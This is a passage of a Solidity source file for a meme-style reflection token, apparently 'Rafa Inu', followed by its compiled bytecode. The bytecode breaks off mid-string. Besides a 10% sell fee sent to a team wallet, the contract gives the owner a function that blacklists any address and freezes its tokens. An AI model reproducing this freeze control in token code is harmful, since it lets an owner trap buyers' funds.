{ _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; _maxWalletSize = 6000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600881526020017f5261666120496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5241464100000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817ffffffffffffffffffffffffffffffffffffffffffffffffff